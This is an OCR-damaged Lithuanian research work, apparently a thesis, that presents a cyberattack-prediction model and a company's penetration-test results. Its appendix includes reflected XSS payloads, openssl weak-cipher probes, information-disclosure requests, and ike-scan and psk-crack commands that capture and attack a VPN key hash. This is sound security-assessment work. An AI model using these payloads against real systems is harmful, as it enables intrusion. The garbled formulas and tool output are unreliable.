Norint jvertinti tikimybe, kokius konkreciai pazeidziamumus panaudojant piktavalis gali suformuoti
ir efektyviausiai atlikti kibernetiné ataka, buvo sukurtas galimos kibernetinés atakos tikimybinis
prognozavimo modelj.

Sudarant galimos kibernetinés atakos prognozavimo modelj buvo suformuotos kibernetinés atakos
tikimybines prognozavimo peré¢jimo matricos:

- pazeidziamumy panaudojimo tikimybiné prognozavimo peré¢jimo matrica, kurig galima
aprasyti 18 formule;

- kibernetinés atakos vektoriaus tikimybin¢ prognozavimo peréjimo matrica, kurig galima
aprasyti 20 formule.

To i8davoje yra suformuota paZeidziamumy panaudojimo tikimybines prognozavimo per¢jimo
matricg, kurig galima aprasyti formule:

Gpe = (S, Tj) , (18)

¢ia: S; — tikimybé, kad bus panaudotas pazeidziamumas, kurio savybémis galima panaudoti norint
pereiti | kibernetinés atakos vektoriaus 7; elementg; 7; — kibernetinés atakos vektoriaus elementas,
kuris pasiekiamas S; pazeidziamumu.

Sioje G, matricoje S; briauny reik§mé k& yra lygi tokiam paZeidziamumy skai¢iui, kuris atitinka
savybémis, kurias galima panaudoti norint pereiti | kibernetinés atakos vektoriaus V; elementa,
skaiCiui.

Sioje G, matricoje vir$iiniy reiksmé v = 5, nes naudojami kibernetinés atakos vektoriaus elementai
iki diegimo etapo, nes po diegimo etapo yra tik techninis ir laiko klausimas kada jvyks ataka.

Sioje Gy matricoje 7; virSunés aibés reikSme lygi:
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Ty(p,v) = CVSS3/Ny, (19)

¢ia: Ny, — skaiCius, kuris apskaiCiuojamas pagal tai, kiek etapy uzima nustatytas pazeidziamumas
kibernetinés atakos vektoriuje; CVSS3 — nustatyto S; pazeidziamumo CVSS3 reikSme [43] padalinta
18 10 dél to, kad maksimali CVSS3 reikSme [43] biity ne daugiau kaip 1.

To i§davoje formuojama kibernetinés atakos vektoriaus tikimybines prognozavimo peréjimo matrica,
kurig galima aprasyti formule:

Gre = (T3, S)) (20)

¢ia: T; — kibernetinés atakos vektoriaus elementas i§ kurio yra galima pasiekti S; pazeidziamuma; S; —
pazeidziamumas, kurio savybémis galima panaudoti norint testi ] kibernetinés ataka.

Sioje G matricoje S; vir§iiniy reik§mé & bus lygi nustatyty pazeidziamumy kiekiui, t. y. §i aibé bus
tokio dydzio, kiek bus nustatyta pazeidziamumy.

Sioje Gi matricoje T; briaunos reiksmé p = 5, nes naudojami kibernetinés atakos vektoriaus elementai
iki diegimo etapo, nes po diegimo etapo yra tik techninis ir laiko klausimas kada jvyks ataka.

Sioje Gy matricoje T; briaunos aibés reikimé lygi:
Ti(p,v) = CVSS3/Nyqp , 21

¢ia: Niyp — skaiCius, kuris nusako kiek nustatyty pazeidziamumy yra kibernetinés atakos vektoriuje;
CVSS3 — nustatyto S; pazeidZiamumo CVSS3 reikSmeé [43] padalinta 1§ 10 dél to, kad maksimali
CVSS3 reikSme [43] biity ne daugiau kaip 1.

Sudarius kibernetinés atakos tikimybinj prognozavimo modelj galima paskaiciuoti kibernetinés
atakos tikimybe KAT. Ji apskai¢iuojama, sudéjus didziausias vertes turinio kibernetinés atakos kelio
reikSmes ir juos padalinus i$ kibernetinés atakos kelio ilgio briauny skaiciaus & bei padauginus i$ 100,
pagal formule:

k
KAT = (LlTT”) £100 . 22)

Norint jvertinti UAB ,,Mokslas* IT&T tinkle rastus pazeidziamumus, kuriuos panaudojant galima
suformuoti ir trumpiausiu keliu atlikti kibernetin¢ ataka, sukuriame galimos greitos kibernetinés
atakos prognozavimo modelj, panaudojant (14-22) formules.

Siame darbe, siekiant patikrinti sukurta kibernetinés atakos prognozavimo modelj, buvo atlikti
kibernetinés atakos prognozavimo modelio skai¢iavimai pagal UAB ,,Mokslas* iSoriniame ir
vidiniame IT&T tinkle rastus pazeidziamumus. Suformuotos UAB ,,Mokslas* iSorinio ir vidinio
IT&T tinklo kibernetinés atakos pazeidziamumy panaudojimo ir kibernetinés atakos vektoriaus
matricos. Suformuoti UAB ,,Mokslas* iSorinio ir vidinio IT&T tinklo kibernetinés atakos grafai.
Suformuotos UAB ,,Mokslas* iSorinio ir vidinio IT&T tinklo kibernetinés atakos pazeidziamumy
panaudojimo peréjimo ir kibernetinés atakos vektoriaus peréjimo matricos. Atlikti labiausiai tikétino
kibernetinés atakos kelio skai¢iavimai, kurie pavaizduoti 23 pav. Atlikti UAB ,,Mokslas‘ iSorinio ir
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vidinio IT&T tinklo labiausiai tikétinos kibernetinés atakos tikimybés skai¢iavimai. Skai¢iavimai
buvo atlikti programinés jrangos Matlab' pagalba.

Labiausiai tiketina prognozuojama kibernetine ataka
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23 pav. UAB ,,Mokslas*“ iSorinio IT&T tinklo labiausiai tikétinas kibernetinés atakos kelias

Visi UAB ,,Mokslas® tinklo kibernetinés atakos prognozavimo modelio skaiiavimai pateikiami
Priede Nr. 7.

Atlikus kibernetinés atakos prognozavimo modelio skai¢iavimus UAB ,,Mokslas* iSoriniam tinklui
galima pastebéti, kad labiausiai tikétina, jog piktavalis kibernetinés atakos metu pasinaudos Siais
UAB ,,Mokslas‘ iSorinio tinklo identifikuotais pazeidimais:
- tinklo architektiiros pazeidZziamumy patikrinimo metu nustatytu sisteminés informacijos
atskleidimo pazeidimu;
- antivirusiniy sistemy susidorojimo su zalingu kodu patikrinimo metu nustatytu pazeidimu.

Taip pat galima pastebéti, kad kibernetinés atakos tikimybe yra 67 procentai.

Atlikus kibernetinés atakos prognozavimo modelio skai¢iavimus UAB ,,Mokslas* vidiniam IT&T
tinklui galima pastebéti, kad labiausiai tikétina, jog piktavalis kibernetinés atakos metu pasinaudos
Siais UAB ,,Mokslas* vidinio IT&T tinklo identifikuotais pazeidimais:
- tinklo jrangos konfiguracijos patikrinimo metu identifikuotu tinklo jrangos standartiniy
slaptazodziy pazeidimu;
- kompiuterizuotos darbo viety saugumo patikrinimo metu identifikuotu nesaugios Windows
sistemy konfigtiracijos pazeidimu.

Taip pat galima pastebéti, kad kibernetinés atakos tikimybe yra 88 procentai.

Galime pastebéti, kad kibernetinés atakos prognozavimo modelis jvertina kokius pazeidziamumus
galima panaudoti norint suformuoti ir trumpiausiu keliu atlikti kibernetiné ataka, o taip pat
suskaiciuoti galimos kibernetinés atakos tikimybe.

!https://www.mathworks.com/products/matlab.html
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Ivykdzius §j etapa pereiname prie 6 etapo.

Sudarant priemoniy plang pazeidziamumams pasSalinti (6 etapas) yra panaudojami kibernetinés atakos
prognozavimo modelio bei atsparumo pazeidziamumams jvertinimo duomenys, kurie pateikiami
pagal sritis (konfidencialumo, vientisumo, prieinamumo) ir panaudojamas priemones
(konfigtiravimo, techninés, organizacinés, kompetencijos).

Kibernetinés atakos prognozavimo modelio duomenys leidzia identifikuoti tuos pazeidimus, kuriuos
piktavalis galimai efektyviausiai pasinaudoty rengdamas kiberneting ataka.

Sriciy indentifikavimas leidzia suprasti pazeidziamumo mastg. Priemoniy parinkimas leidzia
nustatyti veiksmus. Konfigiiravimo priemoné¢ reiskia, kad reikalingas darbuotojy indelis. Techniné
priemoné reiskia, kad reikalinga jsigyti programiné ar aparatin¢ jranga. Organizacinés priemonés
reiSkia, kad reikalingi organizaciniai sprendimai (pvz. paskirti atsakingus asmenis). Kompetencijos
priemoné reiskia, kad reikalingi mokymai. Sis planas, kuris pavaizduotas 1 lentelé¢je, leidzia
aukSciausiai vadovybei jvertinti rizikas bei suprasti kokiy priemoniy reikia imtis, kad pasalinti
identifikuotus pazeidZziamumus.

Atliekant pakartotinius pazeidziamumy jvertinimus, pasirinktas algoritmas leidzia palyginti gautus
rezultatus ir jvertinti pokycius.
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ISvados

Pastebéta, kad naudojamos jsilauzimo aptikimo sistemos surenka informacijg i§ visy informaciniy
technologijy ir telekomunikacijy tinklo elementy, apie galimus jsilauZimus, analizuoja juos ir
lygina su zinomais uZpuolimo biuidais.

Pastebéta, kad naudojamos jsilauzimo aptikimo, prevencijos ir reagavimo sistemos turi trilkumy
ir negali efektyviai apsaugoti informaciniy technologijy ir telekomunikacijy tinklo. Nustatyti du
pagrindiniai jsilauzimo aptikimo sistemy trikumai, kurie jtakoja jsilauZimo prevencijos ir
reagavimo sistemy veikimg: klaidingy pavojaus signaly generavimas, kai legalus srautas
pazymimas kaip kenkéjiskas, ir praleisty pavojaus signaly, kai kenksmingas srautas néra
nepazymimas.

Sudarytas pasirinkto informaciniy technologijy ir telekomunikacijy tinklo kibernetinés saugos
algoritmas ir atliki eksperimentai, kuriy metu nustatyti UAB ,Mokslas® informaciniy
technologijy ir telekomunikacijy iSorinio ir vidinio tinklo pazeidziamumai ir jvertintas Sio tinklo
kibernetinés saugos atsparumas. Nustatyta, kad padidinti Sio tinklo kibernetinés saugos atsparuma
galima atliekant tinklo konfigtiravimo darbus darbuotojy, atsakingy uz Sio tinklo administravima,
pagalba.

Papildytas informaciniy technologijy ir telekomunikacijy tinklo kibernetinés saugos algoritmas,
kuris tinka visiems tinklams jvertinti ir sukurtas kibernetinés atakos prognozavimo modelis.
Nustatyta, kad panaudojus eksperimento metu gauty rezultaty duomenis, modelis identifikuoja
labiausiai tikéting kibernetinés atakos kelig ir suskaiciuoja Sios kibernetinés atakos tikimybg.
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1

Priedai

priedas. ISorinio UAB ,,Mokslas* IT&T tinklo saugumo patikrinimo rezultatai

Siame darbe buvo atliktas prievady nuskaitymas ir identifikuotos veikian¢ios sistemos, kuriy sarasas
pateiktas lenteléje Nr. 1.

1 Lentelé. ISorinio IT&T tinklo sistemy sgrasas

Potinklis 1
IP adresas Hostname Atviras Protokolas Tarnyba | Informacija
prievadas
aaa.bbb.ccc.1 nsl.aaa.lt 53 TCP DNS Name Server
Microsoft DNS 6.1.7601
aaa.bbb.ccc.2 smtp.aaa.lt 25 TCP SMTP Microsoft exchange smtpd
aaa.bbb.ccc.4 adfs.aaa.lt 443 TCP HTTP Microsoft Information Services httpd 8.5
aaa.bbb.ccc.5 bbb.aaa.lt 443 TCP HTTP Microsoft IIS httpd 7.0
aaa.bbb.ccc.6 www.aaa.lt 80 TCP HTTP Microsoft IIS httpd 7.5
aaa.bbb.ccc.8 ftp.aaa.lt 21 TCP FTP Microsoft FTP serveris
aaa.bbb.ccc.13 bbb.aaa.lt 80 TCP HTTP Oracle WebLogic Server (Servlet 2.5; JSP
2.1)
aaa.bbb.ccc.14 bbb.aaa.lt 80, 443 TCP HTTP Oracle WebLogic Server (Servlet 2.5; JSP
2.1)
aaa.bbb.ccc.18 epaslaugos.a | 80 TCP HTTP Oracle GlassFish 3.1.2.2 (Servlet 3.0; JSP
aa.lt 2.2; Java 1.7)
443 TCP HTTP GlassFish Server Open Source Edition
3.1.2.2
aaa.bbb.ccc.20 wan- 443 TCP HTTP Cisco WebVPN http config
agg?.aaa.lt
aaa.bbb.ccc.25 bbb.aaa.lt 80, 443 TCP HTTP Microsoft IIS httpd 8.5
aaa.bbb.ccc.26 bbb.aaa.lt 443 TCP HTTP Apache Tomcat/Coyote JSP engine 1.1
aaa.bbb.ccc.33 mail.aaa.lt 443 TCP HTTP Microsoft IIS httpd 7.5
Microsoft OWA pasto prieiga
aaa.bbb.ccc.34 adrms.aaa.lt | 443 TCP HTTP Microsoft IIS httpd 7.5
aaa.bbb.ccc.35 crl.aaa.lt 80 TCP HTTP Microsoft IIS httpd 7.5
Microsoft Forefront Unified Access
Gateway
aaa.bbb.ccc.40 - 21 TCP FTP FileZilla ftpd 0.9.44 beta
Potinklis 2
aaa.bbb.ccc.165 | ebook.aaa.lt | 80 TCP HTTP Apache Tomcat/Coyote JSP engine 1.1
aaa.bbb.ccc.185 | bbb.aaa.lt 80, 443 TCP HTTP Server: Microsoft-11S/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
aaa.bbb.ccc.186 | - 80 TCP HTTP -
443 TCP HTTP Cisco ASA SSL VPN
aaa.bbb.ccc.187 | - 80 TCP HTTP -
443 TCP HTTP Cisco ASA SSL VPN

Siame darbe buvo atliktas iSorinio tinklo architektiiros paZeidziamumy patikrinimas, kurio metu
atliktas patikrinimas nustatant daugybinius SSL / TLS pazeidziamumus. TLS protokolo veikimas
paprastai orientuotas j TCP pagrindu vykdoma duomeny perdavimo procesa ry$io kanalu. Sis

protokolas leidZia aptikti tokius saugumo pavojus, kaip:

- duomeny klastojimas;
- duomeny perémimas;

- duomeny vientisumo pazeidimas.
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Esant daugybiniams SSL / TLS pazeidziamumams piktavaliai gali i$Sifruoti duomeny srautg ir
perimti slaptazodzius bei kitg reikSmingg informacija.

Daugybiniy SSL / TLS pazeidziamumy vieta kibernetinés atakos vektoriuje pavaizduota 1 pav.

Gmkla-
Zvalgyba \/ vnmaS|s /

1 pav. Daugyblmq SSL / TLS pazeidziamumy vieta kibernetinés atakos vektoriuje

Norint jsitikinti, jog nutolusi sistema palaiko silpng Sifravimo algoritmg bei nesaugiag SSL protokolo
versija pakanka paleisti OpenSSL? jrankj i OpenSSL jrankiy rinkinio su $iais komandinés eilutés
parametrais:

c:\> openssl s_client -ssl2 -connect bbb.aaa.lt:443

CONNECTED(00000003)

[.]

subject=/CN=bbb.aaa.lt

issuer=/C=US/O=thawte, Inc./OU=Domain Validated SSL/CN=thawte DV SSL CA - G2

No client certificate CA names sent

Ciphers common between both SSL endpoints:

RC4-MD5 EXP-RC4-MD5 RC2-CBC-MD5
EXP-RC2-CBC-MD5 DES-CBC-MD5  DES-CBC3-MD$5

SSL handshake has read 1792 bytes and written 629 bytes

New, SSLv2, Cipher is RC2-CBC-MD5
Server public key is 4096 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
Protocol : SSLv2
Cipher : RC2-CBC-MD5
Session-1D: 8E070000BSE269FF518B67FE285CBA09
Session-ID-ctx:
Master-Key: BSCE79905C9D2E7740B22C6EDS8B3C3CA

[.]
Eksperimenty metu pastebéta, kad aaa.bbb.ccc.185 serveryje Siuo metu palaikomi silpni Sifrai:

SSLv2

DES-CBC-MD5 Kx=RSA Au=RSA Enc=DES-CBC(56) Mac=MD5
EXP-RC2-CBC-MD5 Kx=RSA(512) Au=RSA Enc=RC2-CBC(40) Mac=MD)5 export
EXP-RC4-MDS5 Kx=RSA(512) Au=RSA Enc=RC4(40) Mac=MD5 export

TLSvI
EXP1024-DES-CBC-SHA Kx=RSA(1024) Au=RSA Enc=DES-CBC(56) Mac=SHAI export
EXP1024-RC4-SHA Kx=RSA(1024) Au=RSA Enc=RC4(56) Mac=SHAI export

2 https://www.openssl.org/
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EXP-RC2-CBC-MD5 Kx=RSA(512) Au=RSA Enc=RC2-CBC(40) Mac=MD5 export
EXP-RC4-MDS5 Kx=RSA(512) Au=RSA Enc=RC4(40) Mac=MD5 export
DES-CBC-SHA Kx=RSA Au=RSA Enc=DES-CBC(56) Mac=SHAl

Eksperimenty metu pastebéta, kad SSL paslaugy veikianCiy bbb.aaa.lt:25 bei adrms.aaa.lt:443
serveriuose sertifikato galiojimo laikas yra pasibaiges. Tai jrodo Zemiau pateikti nebegaliojancio
sertifikato duomenys:

The SSL certificate has already expired.:

Subject : CN=smtp.aaa.lt

Issuer : CN=AAA CA

Not valid before : Mar 16 09:21:57 2015 GMT
Not valid after : Mar 15 09:21:57 2017 GMT

Subject : CN=adrms.aaa.lt

Issuer : CN=AAA CA

Not valid before : Mar 23 11:54:20 2012 GMT
Not valid after : Mar 23 11:54:20 2014 GMT

Norint jsitikinti, jog nutolusi sistema palaiko TLS1.0 protokolo versija pakanka paleisti OpenSSL?
jrankj i§ OpenSSL jrankiy rinkinio su Siais komandinés eilutés parametrais:

c:\> openssl s_client -tls] -connect bbb.aaa.lt:443

CONNECTED(00000003)

[-]

subject=/CN=bbb.aaa.lt

issuer=/C=US/O=thawte, Inc./.OU=Domain Validated SSL/CN=thawte DV SSL CA - G2
No client certificate CA names sent

Server Temp Key: ECDH, P-256, 256 bits

SSL handshake has read 3377 bytes and written 236 bytes

Verification: OK

New, SSLv3, Cipher is ECDHE-RSA-AES128-SHA
Server public key is 2048 bit

Secure Renegotiation IS supported

Compression: NONE

Expansion: NONE

No ALPN negotiated

SSL-Session:

Protocol : TLSvI

Cipher : ECDHE-RSA-AES128-SHA

Session-ID: 58F9C2792EAAFEC95FD24C1D3066573D15FA06BSEC527206CB6FDEAF2FA55C3E

Session-ID-ctx:

Master-Key:
5C6937435B664286751754090513F1C90C8ADA632213413040024981F160E4CF4DD5208BFF3BOCSFE93F264D6
F8F8937

PSK identity: None

[-]
Eksperimenty metu pastebéta, kad sekancios sistemos palaiko TLS1.0 protokolo versija:

aaa.bbb.ccc.2:25 (smtp.aaa.lt), aaa.bbb.ccc.4:443 (adfs.aaa.lt), aaa.bbb.ccc.5:443 (bbb.aaa.lt),

3 https://www.openssl.org/
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aaa.bbb.ccc.14:443 (bbb.aaa.lt), aaa.bbb.ccc.18:443 (epaslaugos.aaa.lt), aaa.bbb.ccc.20:443 (wan-
agg?2.aaa.lt), aaa.bbb.ccc.25:443 (bbb.aaa.lt), aaa.bbb.ccc.26:443 (bbb.aaa.lt), aaa.bbb.ccc.185:443
(bbb.aaa.lt), aaa.bbb.ccc.186:443, aaa.bbb.ccc.187:443.

Eksperimenty metu pastebéta, kad yra sistemy silpni pasiraSymo algoritmai:

|-Subject : CN=smtp.aaa.lt

|-Signature Algorithm : SHA-1 With RSA Encryption
|-Valid From : Mar 16 09:21:57 2015 GMT

|-Valid To : Mar 15 09:21:57 2018 GMT

|-Subject : CN=vpn.aaa.lt

|-Signature Algorithm : SHA-1 With RSA Encryption
|-Valid From : Mar 28 19:04:40 2015 GMT

|-Valid To : Mar 28 19:14:40 2019 GMT

|-Subject : C=LT/ST=N/A/L=Vilnius/O=AAA/OU=IT/CN=mail.aaa.lt
|-Signature Algorithm : SHA-1 With RSA Encryption

|-Valid From : Mar 02 17:34:36 2014 GMT

|-Valid To : Mar 02 17:44:36 2018 GMT

Siame darbe atlikus daugybiniy SSL / TLS paZeidziamumy patikrinima pastebéti tokie
pazeidZziamumai:

- Palaikomi silpni Sifravimo algoritmai;

- SSL sertifikato galiojimo laikas yra pasibaiges;
- Palaikomas TLS 1.0;

- Silpnas sertifikato pasiraSymo algoritmas.

Siame darbe buvo atliktas iSorinio IT&T tinklo architektiros pazeidziamumy patikrinimas, kurio
metu atliktas patikrinimas nustatant ar galimas sisteminés informacijos atskleidimas.

Daugeliu atvejy, sistemoje egzistuojantys kritiniai pazeidziamumai negali biiti tinkamai panaudoti
neturint papildomy ziniy apie atakuojamg sistemg, todé¢l sisteminés informacijos perteklius
palengvina S$iy pazeidziamumy panaudojimg. Pazeidziamumams, kurie atskleidzia sisteming
informacija, yra priskiriami, pavyzdziui, i§samus klaidos pranesimy rodymas, idiegtos programinés
Jrangos versijos nustatymas, direktorijy turinio ir kelio iki Sakninio katalogo atskleidimas.

Sisteminés informacijos atskleidimo pazeidziamumy vieta kibernetinés atakos vektoriuje pavaizduota
2 pav.

Ginkla-..  Prista-\

Zvalgyba = \imasis tymas

2 pav. Sisteminés informacijos atskleidimo pazeidziamumy vieta kibernetinés atakos vektoriuje

Sisteminés informacijos atskleidimo pazeidziamumams identifikuoti Siame darbe buvo atlikti
eksperimentai.

Apdorojusi jeinancias uzklausas nutolusi tarnybiné stotis grazina atsakymg su specialiomis
antrastémis, atskleidzianc¢iomis informacija apie serveryje naudojamg programing jrangg bei jos
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versijas. Eksperimento metu norint atskleisti tokig informacijg uztenka ] serverj nusiysti Zemiau

pateikta HTTP GET uzklausa:

GET/HTTP/1.1
Host: www.aaa.lt

Serverio atsakyme pateikiama §i piktavali dominanti informacija:

HTTP/1.1 200 OK

Server: Microsoft-11S/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET
MicrosofiSharePointTeamServices: 15.0.0.4420

Eksperimento metu pastebéta, kad kurie serveriai antrasStése atskleidzia serveriy vidinius IP adresus.

Tai buvo atlikta i§siuntus uzklausa:

GET/HITTP/1.1
Host: aaa.bbb.ccc.185

Buvo gautas atsakymas:

HTTP/1.1 200 OK

Content-Length: 0

Content-Type: text/html

Content-Location: http://aaa.bbb.ccc.3/Default.htm
Last-Modified: Sat, 13 Jun 2009 15:11:47 GMT
Accept-Ranges: bytes

ETag: "bae5b4539ecc91:2caf”

Server: Microsoft-115/6.0

X-Powered-By: ASP.NET

Date: Wed, 05 Apr 2018 19:18:02 GMT
Connection: close

Eksperimento metu apsilankius https://adrms.aaa.lt/ wmcs/Certification/ nuorodoje aplikacija
grazina klaidos pranesimga su pertekline informacija, kurioje yra matomas kelias iki Sakninio WEB

aplikacijos katalogo (3 pav.).

& DR nupmy wme/Cerficabon c -

Server Error in Application "DEFAULT WEB SITE/_WMCS/CERTIFICATION"

[nternet Indfarmatsan Seivees 7.5

- Error Summary | —

HTTP Error 401.2 - Unauthorized

You are not authorized to view this page due to invalid authentication headers.

Detailed Error Informatkon

Module 115 Web Core Requested UAL  https:/f f 443/ _wmcs/ Certification/
Motficaton AuthenticateRequest Fiopsacal Path €y - =

Handler StalicFila Logon Methad unlm I
Errar Code OxB0070005 Logeon User Mot yel determined

3 pav. Pilno kelio atskleidimas iki Sakninio katalogo atskleidimas
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Siame darbe atlickant sisteminés informacijos atskleidimo patikrinima pastebéta, kad yra
atskleidziama informacija apie naudojamg programing jranga, serveriy vidinius IP adresus, kelias iki
Sakninio WEB aplikacijos katalogo.

Siame darbe buvo atliktas iSorinio IT&T tinklo duomeny saugumo paZeidziamumy patikrinimas,
kurio metu atliktas patikrinimas XSS pazeidziamumams nustatyti.

D¢l netobulo pavojingy simboliy filtravimo mechanizmo veikimo apdorojant WEB aplikacijai
perduodamy parametry turinj, kuris véliau yra atvaizduojamas HTML kode, imanoma vykdyti bet
kokius JavaScript scenarijus vartotojo narSykléje pazeidziamos interneto svetainés kontekste.
Pasinaudojus XSS pazeidZziamumu nejmanoma padaryti zalos WEB serveriui ar jame veikian¢ioms
WEB aplikacijoms, taciau prie§ klienta galima taikyti jvairias atakas: pasisavinti prisijungimo
duomenis, panaudoti nar§ykliy pazeidziamumus ir gauti kodo vykdymo galimybg vartotojo sistemoje,
suklastoti tinklalapiy turinj.

XSS pazeidziamumai yra skirstomi j kelis tipus. Vienas i8 jy yra ,,nenuolatinis* dar kitaip vadinamas
Latspindimas®. Sio tipo XSS paZeidziamumai reikalauja vartotojo jsikis§imo. Piktavalis suformuoja
specialig nuoroda, kurig vartotojas turi paspausti ir tik tuomet bus jvykdomas kenkéjiskas kodas jo
interneto narSykléje.

Duomeny saugumo XSS pazeidziamumy vieta kibernetinés atakos vektoriuje pavaizduota 4 pav.

Ginkla- Prista-

Zvalgyba vimasis  tymas

4 pav. Duomeny saugumo XSS pazeidziamumy vieta kibernetinés atakos vektoriuje
Duomeny saugumo XSS pazeidziamumams identifikuoti Siame darbe buvo atlikti eksperimentai.

Eksperimenty metu pastebéta, kad yra pazeidziamas VARDAS parametras perduodamas HTTP
POST metodu http://bbb.aaa.lt/bbb/logon.asp puslapyje. Toks pazeidziamumas galimas
nenuolatinéms XSS atakoms. Zemiau pateikiamas HTTP POST uzklausos fragmentas:

POST /bbb/logon.asp HTTP/1.1

Host: bbb.aaa.lt

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64, 1v:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html, application/xhtml+xml,application/xml;qg=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Referer: http://bbb.aaa.lt/bbb/logon.asp

Cookie: 8a=GA1.2.1058726810.1491566409;
ASPSESSIONIDSATTOQRDD=MBILHPABOBIMKOBKMNPCJJAI

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 98

VARDAS=sectest'"><script>alert(document.cookie)</script> &SLAPTAZODIS=&x=39&y=4

WEB aplikacija apdorojusi uzklausa grazins HTML koda, kuriame bus jterptas piktavalio
kontroliuojamas JavaScript kodas. Interneto narSyklé interpretavusi ji pateiks informacinj praneSima
su vartotojo slapuky (angl. cookies) turiniu (5 pav.).
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5 pav. XSS pazeidZziamumo demonstracija

Eksperimenty metu pastebéta, kad yra galima panaudoti XSS pazeidziamuma esantj
http://bbb.aaa.lt/documentpublicone.do puslapyje. Pakanka apsilankyti adresu:
http://bbb.aaa.lt/documentpublicone.do?id=%3Cscript%3Ealert(%22Cross-
Site%20Scripting%22)%3C/script%3E ir Internetiné aplikacija grazina klaidos pranesima, kuriame
atvaizduojama kenk¢jiska parametro id reikSmé. NarSyklé interpretavusi piktavalio perduota HTML
koda ji ivykdo pateikdama praneSimg su zinute ,,Cross-Site Scripting® (6 pav.).

[E=T

6 pav. XSS pazeidziamumo demonstracija

Eksperimenty metu pastebéta, kad yra galima panaudoti XSS pazeidziamumg esant]
https://bbb.aaa.lt/HelpFiles/default.htm puslapyje. Pakanka apsilankyti adresu:
https://bbb.aaa.lt/HelpFiles/default.htm?turl=javascript:alert(%27Cross-Site%20Scripting%27)
Interneto aplikacija grazina klaidos pranesSima, kuriame atvaizduojama kenkéjisSka parametro turi
reik§me. NarSyklé interpretavusi piktavalio perduota HTML koda ji ivykdo pateikdama pranesima su
zinute ,,Cross-Site Scripting® (7 pav.).

& @ hops I IHelpFiles fdefault. htm Tiurd s pvasoriptslert[Cross-Site Soripting’) & L

=3

7 pav. XSS pazeidziamumo demonstracija

XSS pazeidziamumams identifikuoti Siame darbe buvo aptiktos trys svetainés, kuriose buvo
identifikuoti XSS pazeidziamumai.

Siame darbe buvo atliktas iSorinio IT&T tinklo duomeny saugumo patikrinimas nustatant IKE
agresyvaus reZzimo maisos nutekinimo pazeidZziamuma.
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Jei VPN yra sukonfigiiruotas naudoti 1§ anksto nustatyta pagrindinj raktg ir besijungiantis klientas
meégina uzmegzti ry§j agresyviu rézimu — Sio rakto (angl. pre shared key) maiSa iSsiunc¢iama
nesifruotu rySiu. Nutekinta rakto maiSa gali pakliiiti j piktavaliy rankas, pagal kurig galima méginti
parinkti slaptazodj net nesijungiant prie serverio.

IKE agresyvaus rezimo maiSos nutekinimo pazeidziamumy vieta kibernetinés atakos vektoriuje
pavaizduota 8 pav.

_ Ginkla™,  Prista-
vimasis ~ tymas

Zvalgyba

8 pav. IKE agresyvaus rezimo maiSos nutekinimo pazeidziamumy vieta kibernetinés atakos vektoriuje

IKE agresyvaus rezimo maiSos nutekinimo pazeidziamumams identifikuoti Siame darbe buvo atlikti
eksperimentai.

Eksperimento metu buvo naudojamas IKE-Scan* jrankis, kuris leidzia identifikuoti, ar VPN serveryje
agresyvus rézimas ir i§ anksto nustatyty rakty naudojimas yra jjungti. Sis jrankis i§siun¢ia IKE Phase-
1 pakety, ir pateikia gautg atsakymga. Sio paZeidziamumo patikrinimui pakanka pasinaudoti ike-
scan.exe jrankiu naudojant §ig komanda:

ike-scan -M -A -id=admin --trans=5,2,65001,2 -pskcrack=hash.txt aaa.bbb.ccc.187

Pagal ike-scan jrankio atvaizduota informacijg pastebime, jog IKE agresyvus rézimas jjungtas ir i$
anksto nustatyti raktai yra palaikomi:

Starting ike-scan 1.9.4 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
aaa.bbb.ccc. 187 Aggressive Mode Handshake returned
HDR=(CKY-R=8ca44b269f20953)
SA=(Enc=3DES  Hash=SHAl  Group=2:modpl1024  Auth=XAUTH PSK  LifeType=Seconds
LifeDuration=28800)
KeyExchange(128 bytes)
Nonce(20 bytes)
ID(Type=ID IPV4 ADDR, Value=aaa.bbb.ccc.187)
Hash(20 bytes)
VID=12{5f28¢457168a9702d9fe274cc0100 (Cisco Unity)
VID=09002689dfd6b712 (XAUTH)
VID=afcad71368alf1c96b8696fc77570100 (Dead Peer Detection v1.0)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
VID=1f07f70eaa6514d3b0fa96542a500100 (Cisco VPN Concentrator)
Ending ike-scan 1.9.4: 1 hosts scanned in 0.141 seconds (7.11 hosts/sec). 1 returned handshake; 0 returned notify

Gavus maiSos rezultatg galima atlikti slaptazodZio parinkimo atakg naudojant psk-crack® jrankj:
8 psk-crack hash.txt
psk-crack jrankio pateikta informacija:

Starting psk-crack [ike-scan 1.9.4] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode

4 http://www.nta-monitor.com/tools/ike-scan/
S http://www.nta-monitor.com/tools/ike-scan/
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no match found for SHA1 hash b42f6bcbcd4e7619a593ec01bddbaa3766273a44
Ending psk-crack: 394957 iterations in 0.722 seconds (546825.09 iterations/sec)

Siame darbe buvo atliktas iSorinio IT&T tinklo duomeny saugumo paZzeidziamumy patikrinimas,
kurio metu atliktas patikrinimas nustatant ar slaptazodziai yra perduodami nesifruotu kanalu.

Kai vartotojy prisijungimo duomenys yra perduodami atviro teksto protokolais — neSifruotai,
piktavalis turintis prieigg prie vartotojo arba serverio tinklo turi galimybe perimti duomeny srautg ir
taip iSgauti vartotojy naudojamus prisijungimo duomenis. Pasisavintus prisijungimo duomenis
piktavalis gali panaudoti prisijungimui prie vartotojy paskyry kartu gaudamas prieigg prie vartotojui
pasiekiamos konfidencialios informacijos.

Slaptazodziy perdavimo neSifruotu kanalu pazeidziamumy vieta kibernetinés atakos vektoriuje
pavaizduotas 9 pav.

Ginkla- Prista- ,
vimasis  tymas " mas ir kontrolé

Zvalgyba

9 pav. Slaptazodziy perdavimo neSifruotu kanalu pazeidziamumy vieta kibernetinés atakos vektoriuje

Slaptazodziy perdavimo neSifruotu kanalu pazeidziamumams identifikuoti Siame darbe buvo atlikti
eksperimentai.

Eksperimento metu norint jsitikinti, jog ftp.aaa.lt FTP serveris nepalaiko Sifruoto vartotojo
prisijungimo duomeny perdavimo serveriui buvo perduodama komanda skirta Sifruoto kanalo
uzmezgimui (10 pav.).

e

